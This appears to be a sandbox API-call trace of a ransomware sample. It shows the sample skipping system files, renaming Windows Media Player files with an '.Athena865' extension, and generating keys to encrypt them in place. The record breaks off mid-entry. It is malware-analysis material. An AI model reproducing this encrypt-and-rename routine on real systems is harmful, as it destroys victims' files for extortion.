[0096.327] lstrlenW (lpString="accdr") returned 5 [0096.327] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0096.327] lstrlenW (lpString="accdt") returned 5 [0096.327] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0096.327] lstrlenW (lpString="accdw") returned 5 [0096.327] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0096.327] lstrlenW (lpString="accft") returned 5 [0096.327] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0096.327] lstrlenW (lpString="adb") returned 3 [0096.327] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.327] lstrlenW (lpString="adb") returned 3 [0096.327] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.327] lstrlenW (lpString="ade") returned 3 [0096.327] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0096.327] lstrlenW (lpString="adf") returned 3 [0096.327] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0096.327] lstrlenW (lpString="adn") returned 3 [0096.327] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0096.327] lstrlenW (lpString="adp") returned 3 [0096.327] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0096.327] lstrlenW (lpString="alf") returned 3 [0096.327] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0096.327] lstrlenW (lpString="ask") returned 3 [0096.327] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0096.327] lstrlenW (lpString="btr") returned 3 [0096.327] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0096.327] lstrlenW (lpString="cat") returned 3 [0096.328] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0096.328] lstrlenW (lpString="cdb") returned 3 [0096.328] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0096.328] lstrlenW (lpString="ckp") returned 3 [0096.328] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0096.328] lstrlenW (lpString="cma") returned 3 [0096.328] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0096.328] lstrlenW (lpString="cpd") returned 3 [0096.328] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0096.328] lstrlenW (lpString="dacpac") returned 6 [0096.328] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0096.328] lstrlenW (lpString="dad") returned 3 [0096.328] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0096.328] lstrlenW (lpString="dadiagrams") returned 10 [0096.328] lstrcmpiW (lpString1="re.dll.mui", lpString2="dadiagrams") returned 1 [0096.328] lstrlenW (lpString="daschema") returned 8 [0096.328] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0096.328] lstrlenW (lpString="db-journal") returned 10 [0096.328] lstrcmpiW (lpString1="re.dll.mui", lpString2="db-journal") returned 1 [0096.328] lstrlenW (lpString="db-shm") returned 6 [0096.328] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0096.328] lstrlenW (lpString="db-wal") returned 6 [0096.328] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0096.328] lstrlenW (lpString="dbc") returned 3 [0096.328] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0096.328] lstrlenW (lpString="dbs") returned 3 [0096.328] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0096.328] lstrlenW (lpString="dbt") returned 3 [0096.328] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0096.328] lstrlenW (lpString="dbv") returned 3 [0096.328] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0096.329] lstrlenW (lpString="dbx") returned 3 [0096.329] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0096.329] lstrlenW (lpString="dcb") returned 3 [0096.329] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0096.329] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui.Athena865") returned 78 [0096.329] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpdmccore.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpdmccore.dll.mui.athena865"), dwFlags=0x1) returned 1 [0096.330] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpdmccore.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.330] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0096.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.331] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.331] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.331] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.332] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x17c [0096.333] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0096.334] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.334] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.334] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.335] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.335] CloseHandle (hObject=0x17c) returned 1 [0096.335] CloseHandle (hObject=0x154) returned 1 [0096.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.336] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".") returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="..") returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="windows") returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="bootmgr") returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="temp") returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="pagefile.sys") returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="boot") returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="ids.txt") returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="ntuser.dat") returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="perflogs") returned 1 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="MSBuild") returned 1 [0096.336] lstrlenW (lpString="wmplayer.exe.mui") returned 16 [0096.336] lstrcpyW (in: lpString1=0x241e8ac, lpString2="wmplayer.exe.mui" | out: lpString1="wmplayer.exe.mui") returned="wmplayer.exe.mui" [0096.336] lstrlenW (lpString="wmplayer.exe.mui") returned 16 [0096.336] lstrlenW (lpString="Athena865") returned 9 [0096.336] lstrcmpiW (lpString1="r.exe.mui", lpString2="Athena865") returned 1 [0096.336] lstrlenW (lpString=".dll") returned 4 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".dll") returned 1 [0096.336] lstrlenW (lpString=".lnk") returned 4 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".lnk") returned 1 [0096.336] lstrlenW (lpString=".ini") returned 4 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".ini") returned 1 [0096.336] lstrlenW (lpString=".sys") returned 4 [0096.336] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".sys") returned 1 [0096.337] lstrlenW (lpString="wmplayer.exe.mui") returned 16 [0096.337] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui.Athena865") returned 76 [0096.337] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmplayer.exe.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmplayer.exe.mui.athena865"), dwFlags=0x1) returned 1 [0096.337] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmplayer.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.338] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3072) returned 1 [0096.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.338] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.339] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.339] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.339] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf00, lpName=0x0) returned 0x17c [0096.339] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf00) returned 0x100000 [0096.339] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.340] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.340] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.340] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.340] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.341] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.341] CloseHandle (hObject=0x17c) returned 1 [0096.341] CloseHandle (hObject=0x154) returned 1 [0096.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.342] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1 [0096.342] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.342] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.342] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".") returned 1 [0096.342] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="..") returned 1 [0096.342] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="windows") returned 1 [0096.342] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="bootmgr") returned 1 [0096.342] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="temp") returned 1 [0096.342] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="pagefile.sys") returned 1 [0096.342] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="boot") returned 1 [0096.342] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="ids.txt") returned 1 [0096.342] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="ntuser.dat") returned 1 [0096.343] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="perflogs") returned 1 [0096.343] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="MSBuild") returned 1 [0096.343] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23 [0096.343] lstrcpyW (in: lpString1=0x241e8ac, lpString2="WMPMediaSharing.dll.mui" | out: lpString1="WMPMediaSharing.dll.mui") returned="WMPMediaSharing.dll.mui" [0096.343] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23 [0096.343] lstrlenW (lpString="Athena865") returned 9 [0096.343] lstrcmpiW (lpString1="g.dll.mui", lpString2="Athena865") returned 1 [0096.343] lstrlenW (lpString=".dll") returned 4 [0096.343] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".dll") returned 1 [0096.343] lstrlenW (lpString=".lnk") returned 4 [0096.343] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".lnk") returned 1 [0096.343] lstrlenW (lpString=".ini") returned 4 [0096.343] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".ini") returned 1 [0096.343] lstrlenW (lpString=".sys") returned 4 [0096.343] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".sys") returned 1 [0096.343] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23 [0096.343] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui.Athena865") returned 83 [0096.343] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpmediasharing.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpmediasharing.dll.mui.athena865"), dwFlags=0x1) returned 1 [0096.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpmediasharing.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.344] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0096.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.345] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.345] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.345] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.346] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x17c [0096.347] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0096.349] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.350] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.350] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.350] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.350] CloseHandle (hObject=0x17c) returned 1 [0096.350] CloseHandle (hObject=0x154) returned 1 [0096.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.351] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".") returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="..") returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="windows") returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="bootmgr") returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="temp") returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="pagefile.sys") returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="boot") returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="ids.txt") returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="ntuser.dat") returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="perflogs") returned 1 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="MSBuild") returned 1 [0096.351] lstrlenW (lpString="wmpnssci.dll.mui") returned 16 [0096.351] lstrcpyW (in: lpString1=0x241e8ac, lpString2="wmpnssci.dll.mui" | out: lpString1="wmpnssci.dll.mui") returned="wmpnssci.dll.mui" [0096.351] lstrlenW (lpString="wmpnssci.dll.mui") returned 16 [0096.351] lstrlenW (lpString="Athena865") returned 9 [0096.351] lstrcmpiW (lpString1="i.dll.mui", lpString2="Athena865") returned 1 [0096.351] lstrlenW (lpString=".dll") returned 4 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".dll") returned 1 [0096.351] lstrlenW (lpString=".lnk") returned 4 [0096.351] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".lnk") returned 1 [0096.352] lstrlenW (lpString=".ini") returned 4 [0096.352] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".ini") returned 1 [0096.352] lstrlenW (lpString=".sys") returned 4 [0096.352] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".sys") returned 1 [0096.352] lstrlenW (lpString="wmpnssci.dll.mui") returned 16 [0096.352] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui.Athena865") returned 76 [0096.352] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpnssci.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpnssci.dll.mui.athena865"), dwFlags=0x1) returned 1 [0096.353] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\en-us\\wmpnssci.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.353] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4096) returned 1 [0096.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.353] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.354] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.354] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.354] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1300, lpName=0x0) returned 0x17c [0096.356] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1300) returned 0x100000 [0096.357] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.357] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.357] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: 